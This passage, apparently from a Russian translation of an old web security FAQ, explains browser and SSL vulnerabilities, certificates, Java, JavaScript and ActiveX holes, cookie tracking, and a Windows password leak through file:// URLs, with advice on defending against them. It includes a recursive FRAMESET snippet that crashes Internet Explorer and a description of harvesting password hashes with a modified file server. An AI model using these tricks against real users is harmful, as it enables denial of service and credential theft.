Поскольку способ подразумевает множество запросов к серверу, атака может быть обнаружена по возрастанию времени использования процессора, объема используемой памяти или нагрузки на сеть. Кроме того, продукты, использующие библиотеку SSLEay - такие, как C2Net Stronghold - обнаружат неожиданный рост размера файлов трассировки ошибок SSL примерно на 300 MB.
Любые серверы, использующие SSL, датированные до июня 1998 года должны рассматриваться как подверженные такой атаке. Доступны исправления для следующих продуктов:
Персональные сертификаты редко используются при работе с Web. Основная область их использования - корпоративные сети (Intranet), где сертификаты дают возможность контроля доступа к внутрикорпоративной информации на сервере. Однако многие считают, что в ближайшем будущем индивидуальные сертификаты будут широко использоваться как электронная подпись при финансовых операциях в Internet.
Насколько надежны персональные сертификаты? В этой системе используется шифрование с открытым ключем. Как описано в разделе В26: SSL, надежность этой схемы шифрования полностью зависит от сохранности личного ключа пользователя. Когда Вы заказываете персональный сертификат, личный ключ автоматически генерируется и сохраняется на диске Вашего компьютера. В ходе этого процесса у Вас будет запрошен пароль, который используется для шифрования личного ключа перед записью на диск. Это уменьшает риск перехвата Вашего ключа в случае несанкционированного доступа к компьютеру напрямую или через сеть.
Увы, эта схема не может быть признана полностью надежной, поскольку личный ключ защищен ровно на столько, на сколько надежны программы, им манипулирующие. Как описано в последующих разделах, браузеры содержат множество известных и потенциальных лазеек в системе безопасности. Если одна из этих лазеек была использована для установки на Вашем компьютере новых программ или для модификации Вашего браузера, то личный ключ может быть перехвачен после того, как он был расшифрован. После этого ключ можно использовать для доступа к серверам Web, посылки почты от вашего имени и, возможно в недалеком будущем - для подписания юридических документов от Вашего лица.
В дополнение к недостаткам инфраструктуры программного обеспечения, ряд консультантов выражают обеспокоенность тем способом шифрования личных ключей, который используется в Microsoft Internet Explorer. Проблемы противоречивы и различны для разных версий IE. В одних случаях, проблема состоит в низкой надежности шифрования с 40-разрядным ключем - как было показано, эта схема может быть взломана путем атаки "грубой силой". В других случаях, личный ключ оказывается подвержен быстрому взлому с использованием "словарной атаки". Подробнее с проблемой можно ознакомиться в статье, написанной Peter Gutmann (pgut001@cs.auckland.ac.nz ):
http://www.cs.auckland.ac.nz/~pgut001/pubs/breakms.txt
Иногда вы можете встретить похожее сообщение, извещающее о том, что срок действия сертификата истек. Это может свидетельствовать о том, что вебмастер не обновил сертификат в срок, или же о том, что сертификат был украден и используется не по назначению. В этом случае также лучше всего прекратить работу.
Когда узел Web предъявляет браузеру сертификат, подписанный какой-либо организацией, браузер попытается найти сертификат этой организации в своем списке. Если сертификат найден, то работа будет продолжена. Если окажется, что сертификата нет, то браузер выдаст предупреждение о том, что организация, выдавшая сертификат, неизвестна.
В случае, когда это происходит, ваши возможности зависят от используемого браузера. Если вы используете браузеры Netscape, то у вас есть возможность изучить содержимое сертификата и подпись выдавшей его организации. Если вы решили продолжить, то вы можете принять сертификат либо только для текущего сеанса связи, либо и для последующих соединений. Если вы принимаете сертификат, то он будет установлен в браузере среди других сертификатов CA, и соединение будет установлено. Internet Explorer не дает такой возможности. Для доступа к узлу вам будет необходимо достать сертификат утверждающей организации и установить его. Как это делается - мы обсудим ниже.
Безопасно ли принимать сертификат, выданный неизвестной организацией? Если вы используете старый браузер, то возможно, что организация существует, но начала работать уже после того, как был выпущен ваш браузер. Существует, однако, возможность того, что сертификат выдан липовой организацией - ничто не мешает узлу WWW получить соответствующие программы и выпускать свои сертификаты. Никогда не принимайте сертификаты вслепую! Сперва изучите его и обратитесь в выдавшую организацию напрямую (по телефону), если у вас возникают вопросы. Если вам не удается легко определить, как войти в контакт с организацией, то скорее всего этой организации не существует.
Вы можете добавлять новые утверждающие организации в список вашего браузера. Вы можете сделать это, открыв URL, указывающий на сертификат организации. Браузер выдаст предупреждение о том, что вы собираетесь установить новый сертификат CA, и даст вам возможность отказаться от этого. Если вы продолжите, то новый сертификат будет установлен, и новая организация появится в списке вашего браузера. Все узлы, представляющие сертификат, подписанный этой организацией, будут теперь распознаваться вашим браузером, и соединения SSL будут устанавливаться с ними.
По соображениям безопасности, новые сертификаты CA следует устанавливать с большой осторожностью. Никогда не принимайте сертификат CA если вы не знаете точно, что делаете, и если вы не знаете заранее, что организации можно доверять. Так, многие компании создают внутренние утверждающие организации для выдачи сертификатов, используемых на корпоративных серверах intranet. Если ваш сотрудник дает вам дискету и просит установить содержащийся на ней сертификат, вы можете чуствовать себя спокойно, устанавливая его. Однако, если диалог установки CA неожиданно появляется при просмотре сайтов Internet, незамедлительно прекращайте работу и сообщайте об этом администратору узла.
Содержимое запросов, для передачи которых использовался метод GET, попадает в файлы трассировки, поскольку в этом случае данные для запроса входят в состав адреса документа. Данные вашего запроса не записываются в случае, если для его передачи используется метод POST (что обычно происходит при заполнении форм ввода). Если вы не хотите, чтобы ключевые слова, которые были использованы вами при поиске, попали в какие-нибудь доступные списки, проверте, какой метод - GET или POST - используется в скрипте для поиска. Простейший метод состоит в использовании фиктивных ключевых слов при первом запросе. Если введенные слова появляются в адресе (URL) полученного ответа, то они могут появляться и в каком-нибудь файле трассировки на удаленном сервере.
Пары сервер/браузер, использующие шифрование данных - такие, как Netscape, шифруют запросы URL. Более того, зашифрованные запросы не появляются в файлах трассировки, поскольку для их передачи используется метод POST.
JavaScript - это набор расширений языка HTML, разработанный Netscape Corporation и используемый в Netscape Navigator версии 2.0 и более поздних, а также в Microsoft Internet Explorer начиная с версии 3.0. Это интерпретируемый язык, предназначенный для управления браузером; он позволяет открывать и закрывать окна, управлять элементами форм ввода, изменять настройки браузера, загружать и запускать апплеты Java.
Хотя JavaScript похож на Java по синтаксису, они отличаются по многим другим параметрам.
Для повышения защищенности машины пользователя в Java встроен ряд ограничений. В процессе выполнения скрипт на языке Java находится под контролем объекта, называющегося "менеджер безопасности" (Security Manager). Менеджер безопасности обычно не позволяет апплету выполнять произвольные системные команды, загружать системные библиотеки или обращаться к системным устройствам, таким, как диски. Кроме того, запись и чтение файлов ограничены директорием, определяемым пользователем (браузер HotJava позволяет назначить этот директорий, а Netscape полностью запрещает операции с файлами).
Апплеты ограничены также в возможности установки сетевых соединений: они могут обращаться по сети только к тому серверу, с которого были загружены. Это важно по причинам, обсуждаемым ниже.
Наконец, апплет может либо обращаться к сети, либо обращаться к диску, но менеджер безопасности не позволяет делать и то и другое. Это ограничение введено для предотвращения возможности для апплета считать частный файл пользователя с диска на клиентской машине и передать его на сервер.
Мы заключаем, что система Java в том виде, в котором она сейчас существует, не может быть легко сделана безопасной. Видимо, серьезная переработка языка, формата байт-кода и управляющего механизма являются необходимыми шагами на пути к построению высоконадежной системы.
В свете нынешних проблем с Java, безопаснее всего выключать поддержку Java (через пункт меню Security Preferences в Netscape) за исключением тех случаев, когда вы работаете с хорошо известным и надежным сервером. В Netscape Navigator версий 2.0-3.02, это можно сделать, убрав метку с пункта "Java" в Options->Network Preferences->Languages. В Internet Explorer 3.02, снимите метку с "Enable Java Programs" в окне View->Options->Security->Active Content.
Труднее выключить Java в версиях 4.0 Navigator и Internet Explorer. В Netscape Navigator 4.0 выберите в меню Edit->Preferences, затем выберите пункт "Advanced". Снимите метку с пункта "Enable Java".
В IE 4.0, выберите View->Internet Options->Security, выберите Internet Zone, затем - "Custom". Теперь нажмите кнопку "Settings..." и найдите пункт Java settings. Выберите "Disable Java."
Вот некоторые конкретные лазейки, имеющиеся в реализации Java, используемой в различных версиях браузеров Netscape и Internet Explorer:
Эта ошибка присутствует в версиях Netscape 2.0 и 2.01, она была исправлена в версиях 2.02 и 3.0x.
Более подробную информацию по этой ошибке можно найти по адресу:
http://www.cs.princeton.edu/sip
Если апплет ведет себя подозрительно, то закрытие страницы, с которой он был получен, может быть недостаточно для его выключения. В этом случае может быть необходимо выключить браузер целиком.
Предполагается, что апплеты могут связываться только с сервером, с которого они получены. Однако, в начале марта 1996 года Steve Gibbons (a href="mailto:sgibbo@amexdns.amex-trs.com" mailto:sgibbo@amexdns.amex-trs.com) и независимо от него Drew Dean (ddean@CS.Princeton.EDU) нашли лазейку, позволяющую апплетам соединяться с любой машиной в Intrnet. Это серьезная проблема: с момента запуска на машине пользователя, апплет может соединяться с любым компьютером в локальной сети пользователя, даже если локальная сеть защищена брандмауэром. Многие локальные сети организованы таким образом, что местным машинам разрешен доступ ко внутренним ресурсам в сети, закрытым для внешнего мира. В качестве простого примера, апплет может открыть соединение с внутренним сервером новостей организации, получить свежие статьи из внутренней телеконференции, и передать их на удаленный сервер.
Пользователи Unix, знакомые с командами rsh, rlogin
и rcp, поймут, что эта возможность подвергает риску системы,
доверяющие друг другу достаточно для того, чтобы разрешать удаленное
выполнение этих команд. Эта ошибка дает также возможность сбора информации о
топологии и организации имен в локальных сетях, защищенных брандмауэрами.
Эта лазейка использует доверие Java к системе поддержки имен доменов (DNS) для подтверждения права доступа к определенному серверу. Злоумышленник, используя собственный сервер DNS, может создать фиктивную запись в системе DNS и убедить таким образом систему, что она может соединяться с машиной, доступ к которой должен быть запрешен.
Дополнительная информация по безопасности в применении к Java может быть получена по адресу:
http://java.sun.com/sfaq/
Web страница с программой на JavaScript может загрузить этот файл и отправить его содержимое на сервер. Это может быть использовано для получения почтового адреса пользователя и информации о конфигурации его сети. Наибольший риск состоит в возможности получения пароля для доступа к почтовому серверу. Поскольку этот пароль часто совпадает с паролем входа в локальную сеть организации, то тем самым открывается дорога для проникновения в сеть.
Ошибке подвержены все версии Netscape Navigator до 4.04 включительно. По сообщениям, проблема исправлена в версии 4.05. Пожалуйста, обновите вашу версию как можно скорее. Конечно, выключение JavaScript также решает проблему, и защищает от других лазеек, скорее всего имеющихся в системе JavaScript.
Эта ошибка была обнаружена французским консультантом по программному обеспечению Fernand Portela. На его сервере можно найти более подробную информацию:
http://www.mygale.org/~nando
Эта лазейка, обнаруженная немецким консультантом Ralf Hueskes, и известная под названием "Freiburg attack", использует JavaScript для создания невидимой рамки (frame) размером 1x1 пиксел. Пока пользователь просматривает документ, программа на JavaScript, выполняемая в невидимом окне, сканирует локальные и сетевые диски на машине пользователя и ищет файлы с распространенными именами, после чего может передать найденные файлы на любую машину в Internet. Прграмма не может повреждать или удалять файлы на машине пользователя. Исправления, выпущенные Microsoft, можно найти на URL:
http://www.microsoft.com/msdownload/ieplatform/ie4patch/ie4patch.htm
Подробную информацию можно получить на
http://www.jabadoo.de/press/ie4_us_old.html
Большинство этих лазеек используют возможность JavaScript открывать невидимые окна. Поскольку пользователь не видит окна, то он не знает, что скрипт продолжает работу даже после того, как закрыта страница, с которой он был загружен. Другие варианты открывают новое окно браузера и провоцируют пользователя на просмотр следующих страниц через это окно.
Хотя все время идет работа по исправлению ошибок, овые варианты использования этих возможностей открываются постоянно под разными красивыми именами - "Bell labs bug", "Singapore bug", "Santa Barbara bug." Было выпущено такое большое количество исправлений и вариантов браузеров, что их трудно отследить. Точно известно, что лазейки содержится в следующих браузерах:
Более подробную информацию по проблеме можно найти на узлах, перечисленных ниже. Ищите там исправления и обновленные версии.
JavaScript оставляет открытыми некоторые лазейки. JavaScript не может получить адрес документа, полученного с другого сервера, но может иметь доступ к следующей информации:
Демонстрацию этой лазейки можно найти по адресу: http://www.genome.wi.mit.edu/~lstein/crossframes. Хотя эта страница собирает информацию об изображениях только из одного документа, имейте в виду, что возможно перехватывать все адреса просматриваемых вами картинок и загружать их на удаленный сервер.
Эта лазейка содержится в Netscape Navigator 3.0, 3.01 и Netscape Communicator 4.01. Она закрыта в версиях 4.02 и 3.03. Она не затрагивает Navigator 2.X и Internet Explorer.
Для использования этой ошибки удаленный сервер должен заранее знать имя файла на машине пользователя. Тем не менее, проблема остается серьезной, поскольку большое количество важной информации, включая системные пароли, хранится в файлах с хорошо известными именами.
Netscape Navigator 2.0, 3.0, 3.01 и Netscape Communicator 4.0 - все содержат эту ошибку. Netscape Communicator 4.01, выпущенный 21 июня, содержит исправление этой ошибки. Версия 3.02 Netscape Navigator тоже не должна содержать этой ошибки. Последние версии браузеров можно найти на сервере Netscape.
http://www.osf.org/~loverso/javascript/
Эти ошибки в JavaScript были исправлены в Netscape Navigator версии 3.0 и более поздних. Исключением является лазейка с e-mail адресом, которая была закрыта в версии 2.01, но опять появилась в версии 3.0. Она опять была закрыта в версии 3.01, которая предлагает в диалоге Network & Security Options (настройки сети и безопасности) предупреждать вас перед отсылкой электронной почты от вашего имени. Microsoft Internet Explorer, поддерживающий диалект JavaScript, имеет сходный пункт в окне Options (параметры).
В Microsoft Internet Explorer 4.0 новое понятие "зоны безопасности" (Security Zones), призванное сделать Internrt безопаснее, на самом деле делает задачу отключения JavaScript более трудной, поскольку язык остается активным при выборе "высокой степени защиты" (High Security). Для его выключения следует пойти в меню View->Internet Options->Internet Security и выбрать "Internet Zone". Теперь нужно выбрать переключатель, отмеченный "Custom", и нажать расположенную рядом кнопку "Settings...". Затем нужно выключить "Active Scripting" в конце списка.
В Netscape Navigator 4.0 следует следовать процедуре, приведенной для выключения Java.
Модель безопасности ActiveX сильно отличается от того, что используется в апплетах Java. Java добивается безопасности ограничивая возможности программы выполнением только безопасных действий. Напротив, ActiveX не вводит ограничений на то, что может делать управляющий элемент. Вместо этого каждый управляющий элемент должен иметь цифровую "подпись" автора, распознаваемую системой "Authenticode". Подписи утверждаются доверенными "утверждающими организациями", такими, как VeriSign. Имея утвержденную подпись, разработчик обязуется не включать в свои программы вирусов и других вредных вещей. Если вы загрузили подписанный управляющий элемент ActiveX, и он порушил вашу машину, то вам известно, по крайней мере, кого в этом винить.
Эта модель полностью перекладывает ответственность за безопасность компьютероной системы на плечи пользователя. Перед загрузкой управляющего элемента, который не имеет подписи, или имеет подпись, но она подтверждена неизвестной организацией, браузер выводит предупреждение, что это действие может быть небезопасным. Пользователь может отказаться от загрузки документа, или рискнуть продолжить.
Процесс подтверждения гарантирует, что управляющий элемент ActiveX не может распространяться анонимно, и что в процесс его распространения не могут включиться посторонние. Однако, процесс не дает гарантии, что элемент будет вести себя правильно. Хотя и маловероятно, что подписанный и подтвержденный управляющий элемент будет производить вредные действия, но это возможно. Например, программист Fred McLain (mclain@halcyon.com) выпустил недавно управляющий элемент ActiveX под названием Exploder. Этот элемент, будучи полностью подписанным и подтвержденным, производит остановку любой машины под управлением Windows 95, которая его загружает. выключение происходит вскоре после того, как пользователь просматривает страницу, содержащую элемент Exploder (необходимо использовать Internet Explorer 3.0 или более поздний). Узнав о Exploder, Microsoft и Verisign совместно отозвали подтвержденную подпись Fred McLain, утверждая, что он нарушил соглашение, заключенное при выдаче удостоверения. Поэтому при использовании последних версий Internet Explorer вы увидите сообщение о том, что подпись недействительна.
Хотя Exploder не вызывает повреждения данных, могут появиться и менее безобидные управляющие элементы, форматирующие диски пользователя, или запускающие вирусов в его машину. На самом деле, ряд весьма вредных управляющих элементов ActiveX были созданы и распространены Chaos Computer Club (CCC) из Гамбурга, Германия. Они все не имеют подписи, что значит, что при обычной настройке Internet Explorer предупредит пользователя об опасности. Однако неосторожный пользователь, изменивший настройку Internet Explorer на "низкую безопасность" (Low Security), или согласившийся загрузить и выполнить управляющий элемент не смотря на предупреждение, подвергнется таким образом нападению.
Основная проблема в модели безопасности ActiveX состоит в том, что представляется трудным отследить управляющий элемент, совершающий нежелательные действия - например, спокойно передающий конфиденциальную информацию о конфигурации машины пользователя на удаленный сервер, или заражающий локальную сеть вирусом, или даже изменяющий Internet Explorer так, что его механизм проверки кода не будет правильно работать. Дейсвия такого рода могут быть либо совсем не замечены, либо оставаться незамеченными долгое время. Даже если повреждение замечено быстро, у Internet Explorer нет механизмов, позволяющих определить, какие контрольные элементы были загружены. Это делает весьма трудной задачу определения того, какой именно элемент ActiveX нанес вред вашей машине.
ActiveX можно выключить полностью через меню Internet Options->Security в Microsoft Internet Explorer. Для полного выключения ActiveX выберите "высокую степень защиты" (High Security), для получения предупреждения перед запуском управляющих элементов - "среднюю степень защиты" (Medium Security). Если вы решили запустить управляющий элемент, то внимательно изучите его и тщательно зафиксируйте на бумаге его имя, автора, дату и время загрузки. Не сохраняйте эту информацию на диске, поскольку его содержимое легко может быть уничтожено самим элементом. "Низкий уровень безопасности" (Low Security) позволяет запускать элементы ActiveX без предупреждения и независимо от наличия подписи и, таким образом, не рекомендуется к использованию.
IE 4.0 позволяет различать управляющие элементы в зависимости от того, получены они с сервера в Internet, сервера в локальной сети или с сервера из специального списка узлов, пользующихся или не пользующихся доверием.
Cookie позволяют решить эту проблему. Cookie - это маленький кусочек информации, часто не более чем короткий номер соединения, который сервер посылает браузеру при первом контакте. В дальнейшем браузер посылает серверу копию cookie при каждом соединении. Обычно cookie используются сервером для идентификации пользователя и поддержания иллюзии сохранения соединения при просмотре многих страниц. Поскольку cookie не являются частью спецификации стандарта HTTP, они поддерживаются только некоторыми браузерами - в настоящее время - Internrt Explorer версии 3.0 и более поздние и Netscape Navigator 2.0 и более поздние. Сервер и/или скрипты CGI на нем также должны поддерживать cookie для возможности их использования.
Cookie имеют атрибуты, сообщающие браузеру, на какой сервер их следует отправлять. Атрибут "domain" говорит о том, какому серверу нужно передать cookie, а "path" - какому URL на этом сервере cookie соответствует. Например, значение "megacorp.com" в domain и "/users" в path говорят браузеру, что посылать cookie следует на серверы с именами вроде www.megacorp.com и ftp.megacorp.com и только в том случае, когда путь к файлу начинается с "/users". С точки зрения безопасности важно, что значение domain не может соответствовать домену высокого уровня, например ".com". Это предотвращает создание таких cookie, которые будут рассылаться любому серверу.
Однако, cookie могут быть использованы и менее безобидным образом. Каждое ваше обращение к серверу Web оставляет о вас нгекоторую информацию, создавая сеть данных о вас в Internet. Среди всех этих кусочков информации присутствуют такие данные, как IP адрес вашего компьютера, марка используемого вами браузера, используемая вами операционная система, адрес просматриваемой страницы и адрес той страницы, которую вы просматривали перед обращением. Без механизма cookie было бы практически невозможно систематически отслеживать эту информацию и изучать ваше поведение как пользователя Web. Для этого потребовалось бы сравнение тысяч файлов трассировки на множестве серверов WWW. С использованием cookie ситуация сильно меняется.
DoubleClick Network представляет собой систему, созданную фирмой DoubleClick Corporation для сбора данных о пользователях Web и предоставления им рекламных заставок, подобранных в соответствии с их вкусами. Основные клиенты DoubleClick - серверы Web, ищущие возможности рекламы своих услуг. Каждый член сети DoubleClick становится сервером, рекламирующим других членов системы. Становясь членом DoubleClick, узел WWW создает рекламные материалы для своих услуг и предоставляет их на сервер DoubleClick. Узел затем редактирует свои страницы HTML и добавляет элементы <IMG>, ссылающиеся на сервер DoubleClick. Когда пользователь открывает одну из иодифицированных страниц, его браузер обращается к серверу DoubleClick для получения картинки. Сервер выбирает картинку из тех, которые предоставлены членами сети, и передает ее на браузер. При повторной загрузке страницы появляется другая картинка. Если пользователь выбирает рекламную картинку, то он попадает на узел соответствующего клиента DoubleClick. В настоящее время эта система включает многие сотни членов.
С точки зрения пользователя, реклама DoubleClick ничем не отличается от любой другой рекламы в WWW, и картинка ничем не отличается от других картинок. Однако разница есть. При первом обращении к серверу DoubleClick браузер получает cookie с уникальным номером. С этого момента, при каждом обращении к серверу, входящему в сеть DoubleClick, браузер возвращает серверу DoubleClick cookie, позволяющий узнать пользователя. Через некоторое время сервер собирает список тех узлов, которые посещает пользователь, и создает записи, отражающие вкусы и привычки пользователя. Обладая этой информацией, сервер DoubleClick теперь выбирает те рекламы, которые с большей вероятностью могут представлять интерес для пользователя. Имеется возможность также собирать информацию, представляющую интерес для узлов - членов сети, такую, как оценка эффективности рекламы.
Хотя имена и адреса электронной почты не попадают в записи сервера DoubleClick,
другая сохраняемая информация обычно достаточна для идентификации
пользователя. Более подробно см. раздел Файлы трассировки и личная
информация. По этой причине многим не нравится то, как DoubleClick
использует cookie. Для определения того, были ли вы записаны на этом сервере,
проверте файл cookie вашего браузера. В системах Unix, использующих Netscape,
файл находится в вашем директории и имеет имя
~/.netscape/cookies. Если там есть строка вроде этой:
то у вас есть cookie от DoubleClick.ad.doubleclick.net FALSE / FALSE 942195440 IAA d2bbd5
Пользователи Windows могут найти подобную информацию в файле
cookies.txt, расположенном в директории
C:\Programs\Netscape\Navigator,
пользователи Macintosh могут посмотреть в системном каталоге под пунктом
Preferences:Netscape.
Пользователи Microsoft Internet Explorer должны обратиться к файлу
C:\Windows\Cookies.
Текущие версии и Netscape Navigator, и Internet Explorer имеют возможность выводить предупреждение пользователю каждый раз, когда сервер посылает браузеру cookie. Если вы включили это предупреждение, то у вас будет возможность отказаться от приема cookie. вам придется также удалить все уже собранные cookie; для этого проще всего просто стереть файл, хранящий их.
Недостаток этой схемы заключается в том, что многие серверы будут упорно предлягать cookie при каждом новом соединении даже после того, как вы отказались от приема cookie первый раз, что очень быстро надоедает. Прежде чем паниковать по поводу cookie стоит вспомнить, что основная масса cookie предстьавляет собой попытки повысить ваш комфорт в WWW, а не нарушить ваши личные права. Netscape Navigator 4.0 предоставляет новую возможность - отказываться от приема cookie, принадлежащего не тому узлу, на котором находится главная просматриваемая вами страница. Это отсекает большинство схем, подобных DoubleClick. Для использования этой возможности выберите Edit->Preferences->Advanced и установите соответствующим образом переключатель в разделе cookies.
Некоторые пользователи могут иметь желание разрешить нерезидентные cookie (те, которые сохраняются только в течение текущего соединения) и запретить постоянные (хранящиеся между сеансами длительное время). В системах Unix для этого достаточно создать ссылку, связывающую устройство /dev/null и файл cookies. Пользователи других операционных систем могут быть вынуждены использовать для этого програмные продукты третих фирм, перехватывающие cookie. Вот список таких программ:
Однако, если такая система построена не вполне аккуратно, она может быть использована третьими лицами. Например, ваш cookie может быть перехвачен по пути от браузера к серверу и использован для получения несанкционированного доступа к данным. Поскольку браузер использует систему имен доменов (DNS) для идентификации сервера, существует возможность заставить браузер послать cookie на неправильный сервер, временно нарушив систему DNS. Конечно, если cookie долгоживущие, то их можно просто украсть с жесткого диска машины пользователя.
Теперь рассмотрим системы, использующие cookie в качестве идентификатора сессии для сохранения информации между соединениями при многоступенчатых транзакциях. Примерами таких систем могут быь системы доступа к корпоративным базам данных, системы заказа покупок по сети, банковские клиентские системы. Если не соблюдать осторожность, то злоумышленник может перехватить cookie и использовать их для осуществления несанкционированных действий.
Разработчики систем, использующих cookie, должны учитывать возможность их перехвата. Cookie всегда должны содержать как можно меньше информации частного характера. В частности, cookie никогда не должны содержать имен пользователей и паролей в открытой форме. В условиях ISP, когда на сервере расположено много пользователей, следует указывать как можно более подробное значение в path. Например, если программа, использующая cookie, расположена на URL http://bigISP.com/users/fred/orders.cgi, то разработчику следует установить значение path в /users/fred/orders.cgi, а не более общий путь /.
Если возможно, cookie должны содержать информацию, подтверждающую права пользователя на их использование. Популярная схема состоит во включении следующей информации:
Код MAC присутствует здесь для того, чтобыиметь уверенность в сохранности информации в cookie. Существует множество способов вычисления MAC, большинство из которых основано на алгоритмах вычисления однонаправленных хэш-функций, таких, как MD5 или SHA, с целью получения уникальных "отпечатков пальцев" для данных, содержащихся в cookie. Вот пример простой, но относительно надежной техники, использующей MD5:
MAC = MD5("идентификатор сессии" + "дата создания" +
"срок годности" + "IP адрес" +
"секретный ключ")
Другим способом может быть шифрование целого cookie с использованием алгоритма, подобного DES, IDEA или RC4. Для получения информации по алгоритмам шифрования и хэш-функциям, см. ссылки по криптографии в конце этого документа.
При разработке критических приложений может оказаться разумным полностью шифровать канал между сервером и браузером с использованием SSL. Cookie окажутся зашифрованными вместе со всей остальной информацией таким образом, что их перехват станет возможным только после взлома алгоритма шифрования. Для избежания ошибочной посылки cookie через нешифруемое соединение, разработчик должен выставить флаг "secure", чтобы браузер посылал cookie только в случаях, когда для соединения используется SSL.
Если злоумышленникам удается повредить систему в вашей организации, то повреждения будут выглядеть так, как будто они вызваны вами, и вам придется объясняться с ответственными людьми. Даже если вы не соединены с локальной сетью, вам есть о чем беспокоиться. Если в какой-то момент вы включили механизм сетевого доступа к файлам Windows, то ваши личные файлы могут быть украдены в те периоды времени, когда вы соединены с Internet через вашего провайдера.
Всего было найдено три схожих ошибки. Сообщение о первой было сделано Aaron Spanger 14 марта 1997 года, и она остается не исправленой до настоящего времени. Она присутствует в Internet Explorer версии 3.01 и более ранних (включая версии с исправлениями Microsoft) для Windows 95, Windows NT и Windows 97. Netscape Navigator 3.01 (как обычный, так и gold) и Netscape Communicator beta2 также имеют эту лазейку при работе под Windows NT и под некоторыми, но не всеми системами Windows 95 (результаты противоречивы). Подробное описание и демонстрацию ошибки можно найти по адресу:
http://www.ee.washington.edu/computing/iebug/
Вторая ошибка, найденая Paul Ashton по следам первой, затрагивает IE (версия 3.01 и ниже), выполняемый под Windows NT 3.51/4.0 (как сервер, так и рабочая станция). Ее описание доступно по адресу:
http://www.efsl.com/security/ntie/
Следующая ошибка, описанная 17 марта 1997 года Steve Birnbaum, затрагивает Microsoft Internet Explorer (версии 3.01 и более ранние) при работе под Windows 95. Описание см. на
http://www.security.org.il/msnetbreak/
Все эти ошибки затрагивают механизм проверки пользователя "вызов/ответ" (challenge/responce), используемый Microsoft для доступа к файлам. Вот несколько упрощенное описание. Когда клиент пытается связаться с сервером (будь то сервер печати, сервер www или файловый сервер), сервер посылает клиенту короткую случайную строку - "nonce". Клиент кодирует строку с использованием пользовательского пароля и посылает обратно на сервер кодированную строку, имя пользователя и другую идентификационную информацию. Сервер проверяет наличие имени пользователя в своей собственной базе данных пользователей, находит там пароль пользователя и кодирует строку nonce с использованием этого пароля. Результат кодирования сравнивается с тем, что получено от клиента, и если они совпадают, то сервер убеждается в том, что пользователь знает пароль, избегая при этом передачи пароля по сети. Заметте, что при этом шифруемая информация не является тайной, а пароль используется как ключ для шифровки.
Если браузер IE или Netscape встречает URL вида
(где "aa.bb.cc.dd" - адрес удаленного сервера в Internet), то он пытается получить доступ к файлу так, как если бы этот файл находился на машине в локальной сети, и пытается идентифицировать себя через механизм "вызов/ответ". Все это происходит без оповещения пользователя.file://\\aa.bb.cc.ddd\путь\к\файлу
При атаке с целью выяснения пароля, сервер работает под управлением специально модифицированной версии файлового сервера Windows, которая использует вместо случайной строки вызова постоянную. Ваш компьютер доверчиво шифрует строку вашим паролем и посылает ее обратно. Сервер теперь спокойно может сравнить присланную строку с базой данных, содержащей десятки тысяч вариантов шифрования этой строки с использованием различных паролей. Если совпадение найдено, то ваш пароль оказывается раскрытым (это называется "словарная атака"). Поскольку многие люди выбирают легко запоминающиеся пароли, средний пароль часто может быть взломан посредством хорошей словарной атаки. Даже если ваш пароль остается не найденым, сервер получит о вас много полезной информации - имя компьютера, имя пользователя, имя домена Windows. Поскольку исходные тексты программ Unix, рефлизующих механизм доступа к файлам Windows, легко доступны, то задача создания модифицированного сервера не представляет больших трудностей.
В случае лазейки, найденой Steve Birnbaum, пароль оказывается даже не зашифрованным, а передается на сервер в текстовом виде. Происходит это потому, что Windows 95 используют менее сложную систему верификации пользователя.
Как вы можете узнать, что ваш пароль был украден таким образом? А никак. "Вредный" адрес может быть замаскирован как обычное изображение. Если вы не будете смотреть исходный текст документа на HTML, то вы не отличите картинку от любой другой картинки в Web. Пользователи, использующие другие операционные системы, увидят изображение "поврежденной картинки" - нечто, что редко вызывает подозрения.
Что можно сделать, чтобы избежать этой проблемы? Мало что можно сделать до того, как Microsoft и Netscape исправят ошибки в программах. Наилучший способ - выбор хорошего пароля. Выбирайте длинные пароли, которые трудно угадать. Один из подходов состоит в том, чтобы выбрать фразу, имеющую смысл для вас, но не для других, например:
blue wire chair too cold in AM (синий проволочный стул слишком холоден утром)Теперь возьмите первые (или третьи, или последние) буквы каждого слова для составления пароля - bwctciA. Не передавайте этот пароль никому и используйте его только для входа в локальную сеть.
Ошибка многократно возрождалась начиная с января года 1998. Первая инкарнация, названная ошибкой "mk", использует URL типа "mk:", запускающие систему помощи (help) Microsoft. Ошибка была исправлена, однако вскоре появился новый вариант. Затем, в апреле 1998 года, была найдена ошибка в части обработки элемента <EMBED> .
Ошибки такого рода могут приводить к серьезным последствиям. Они могут быть использованы для выполнения произвольного программного кода на Вашем компьютере без Вашего ведома. Проограмма может делать все - устанавливать вирусы, разрушать Ваши файлы, изменять браузер для открытия других путей проникновения в систему. Ошибка не зависит от повышения уровня безопасности или выключения активных документов. К счастью, исправления для всех известных к настоящему времени лазеек можно получить на сервере Microsoft, URL http://www.microsoft.com/security/. Если вы используете любую версию Internet Explorer по 4.01, вам необходимо получить исправления и установить их. Другой вариант действий - вернуться к версии Internet Explorer 3.02, которая использовалась дольше и в которой не было найдено столь серьезных лазеек.
Подробную информацию об ошибках можно получить по адресу
http://l0pht.com/advisories/
Страница содержит два прилежащих окна, каждое из которых ссылается на тот же самый документ. Когда Internet Explorer обнаруживает подобный документ, он пытается загрузить файл в каждую из рамок. Затем он создает по две новых рамки в каждой предыдущей, и так до бесконечности, вернее - пока хватает памяти, после чего происходит системный сбой.<HTML> <FRAMESET COLS="*,*"> <FRAME SRC="recursive.htm"> <FRAME SRC="recursive.htm"> </FRAMESET> </HTML>
Эта ошибка может быть использована для вызова сбоев, но не нарушает безопасности в других областях. Сообщалось о том, что некоторые версии Netscape Navigator также содержат эту ошибку, однако версии 4.0X, судя по всему, ее не содержат.
Проблема вытекает из "возможности", встроенной в IE. Файлы ярлыков (shortcut) обычно создаются пользователями для быстрого доступа к файлам на локальных дисках. Если ярлык помещен на сервер Web и получен через Internet, то выбор ссылки на ярлык приводит к неожиданному эффекту - файл, если он есть, открывается на машине пользователя. Если файл является выполнимой программой, такой как редактор регистра Windows, или интерпретатор команд DOS, то результатом может быть запуск потенциально опасной программы на машине пользователя без его информирования. Злоумышленник может также создать командный (.bat) файл, сохранить его в буфере браузера ничего не подозревающего пользователя, и затем запустить этот файл на выполнение.
Лазейка присутствует как в Windows 95, так и в Windows NT, и присутствует даже в том случае, если вы выбираете наивысший уровень безопасности. Лазейка не имеет отношения к ActiveX или Java. Кроме ссылок в документах HTML, лазейка затрагивает ссылки, включенные в статьях в телеконференциях и сообщения e-mail.
